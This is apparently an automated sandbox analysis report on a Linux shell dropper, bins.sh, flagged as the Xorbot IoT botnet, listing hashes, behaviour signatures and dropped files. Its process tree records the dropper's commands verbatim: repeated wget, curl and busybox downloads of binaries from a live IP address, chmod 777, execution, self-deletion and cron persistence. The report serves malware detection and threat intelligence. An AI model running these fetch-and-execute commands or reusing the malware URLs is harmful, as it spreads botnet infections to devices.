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Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/02/2025, 18:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d8126e215a151514ecccbac0d89fa606

  • SHA1

    b1a73227b60aed5bec1dfb839fb3284e529c3f14

  • SHA256

    37a5a3e5ce57b6a774808847b27b716c7809d8da5349d0a6c0ed0d945fd9de45

  • SHA512

    c5fb3b89c403a94cb75a375c82d4f541f3d1d290dd37156449ed63ae0d5ffa578a951e9068f65c8a353bd8e482cb73305b19a7401302a703351b3d3540cc7f7a

  • SSDEEP

    192:NmZcq5vRAiAeAdAgAYA4bAiAeAdAgAYAuQn:Nm/5vRVxmnfTbVxmnfY

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2073) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1475
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1481
      • /usr/bin/wget
        wget http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
        2⤵
        • Writes file to tmp directory
        PID:1482
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
        2⤵
        • Writes file to tmp directory
        PID:1501
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
        2⤵
        • Writes file to tmp directory
        PID:1502
      • /bin/chmod
        chmod 777 v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
        2⤵
        • File and Directory Permissions Modification
        PID:1503
      • /tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
        ./v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
        2⤵
          PID:1504
        • /bin/rm
          rm v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
          2⤵
            PID:1506
          • /usr/bin/wget
            wget http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
            2⤵
            • Writes file to tmp directory
            PID:1507
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
            2⤵
            • Writes file to tmp directory
            PID:1508
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
            2⤵
            • Writes file to tmp directory
            PID:1509
          • /bin/chmod
            chmod 777 tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
            2⤵
            • File and Directory Permissions Modification
            PID:1510
          • /tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
            ./tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
            2⤵
              PID:1511
            • /bin/rm
              rm tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
              2⤵
                PID:1513
              • /usr/bin/wget
                wget http://37.44.238.88/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                2⤵
                • Writes file to tmp directory
                PID:1514
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                2⤵
                • Writes file to tmp directory
                PID:1515
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                2⤵
                • Writes file to tmp directory
                PID:1516
              • /bin/chmod
                chmod 777 HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                2⤵
                • File and Directory Permissions Modification
                PID:1517
              • /tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                ./HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                2⤵
                  PID:1518
                • /bin/rm
                  rm HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
                  2⤵
                    PID:1520
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                    2⤵
                    • Writes file to tmp directory
                    PID:1521
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                    2⤵
                    • Writes file to tmp directory
                    PID:1522
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                    2⤵
                    • Writes file to tmp directory
                    PID:1523
                  • /bin/chmod
                    chmod 777 yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1524
                  • /tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                    ./yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                    2⤵
                      PID:1525
                    • /bin/rm
                      rm yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
                      2⤵
                        PID:1527
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                        2⤵
                        • Writes file to tmp directory
                        PID:1528
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                        2⤵
                        • Writes file to tmp directory
                        PID:1529
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                        2⤵
                        • Writes file to tmp directory
                        PID:1530
                      • /bin/chmod
                        chmod 777 A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1531
                      • /tmp/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                        ./A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        PID:1532
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:1534
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:1535
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:1536
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:1537
                            • /bin/rm
                              rm A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
                              2⤵
                                PID:1539
                              • /usr/bin/wget
                                wget http://37.44.238.88/bins/3fUGc9WqasGXQNOhtYw7GOI48MY8yxDgMt
                                2⤵
                                • Writes file to tmp directory
                                PID:1542

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/3fUGc9WqasGXQNOhtYw7GOI48MY8yxDgMt

                              Filesize

                              39KB

                              MD5

                              001174911420e20924bb30e25c7f1447

                              SHA1

                              57334f89e32693d1f89d8d4b413ab2c7b88c7484

                              SHA256

                              879f458a41c9aed969bad907b2409191703a345ab94d3a5d2af1d9f3d66d2391

                              SHA512

                              61877ab4077dff3e381749d4135b9cf0e47d58eedf81b0965604ae7f5def299ea45112a39c7e9997953325b3d202ca3239d5c069c27a8070451b2440a0834101

                            • /tmp/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /var/spool/cron/crontabs/tmp.vnsuaY

                              Filesize

                              210B

                              MD5

                              b6fdc915489bdfc378483a466295b15e

                              SHA1

                              a9352af0401416dee94b1d3d7f55a8545f6fc283

                              SHA256

                              e44c58c55d82eaecbda2ff9130ee3b333581da3899097ca6a133fddd0fe6484b

                              SHA512

                              22f07a0d09d371beddeb49469de542ea73bddab4953b0f3f0d9bedf43a0b262c94a2992e1f400809f5de46792b1a084792ebf616b0e25c6775d5fe909699d74a